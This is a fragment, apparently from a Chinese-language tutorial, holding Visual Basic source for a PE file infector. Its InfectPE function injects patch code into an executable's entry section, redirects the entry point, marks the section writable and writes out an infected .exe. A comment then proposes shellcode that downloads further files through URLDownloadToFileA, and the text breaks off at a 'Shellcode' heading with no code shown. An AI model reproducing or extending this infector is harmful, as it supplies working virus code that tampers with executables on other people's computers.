CopyMemory PE(.Offset + .VirtualSize), PatchCode(0), NeededArea AddressOfEntryPoint = .RVA + .VirtualSize WriteDword e_lfanew + &H28&, AddressOfEntryPoint .VirtualSize = .VirtualSize + NeededArea WriteDword SectionTableOffset + EntrySection * &H28& + &H8&, .VirtualSize .flags = .flags Or &H80000000 WriteDword SectionTableOffset + EntrySection * &H28& + &H24&, .flags End With Open strTargetFile & ".exe" For Binary As #1 '生成新文件 Put #1, , PE Close #1 InfectPE = 1 Exit Function ERR: InfectPE = 0 End Function
Private Function ReadWord(ByVal Offset As Long) As Long
Private Function ReadDword(ByVal Offset As Long) As Long
Private Function Add0To8(ByVal InputStr As String) As String
Private Function Read8Str(ByVal Offset As Long) As String ——————————————————————————————————————————————————-—— 这个感染的功能很单调,可以写Shellcode,完成更多功能。比如调用fileexists函数查看文件是否存在,然后选择URLDOWNTOFILEA函数下载恢复等等··· Shellcode代码:
|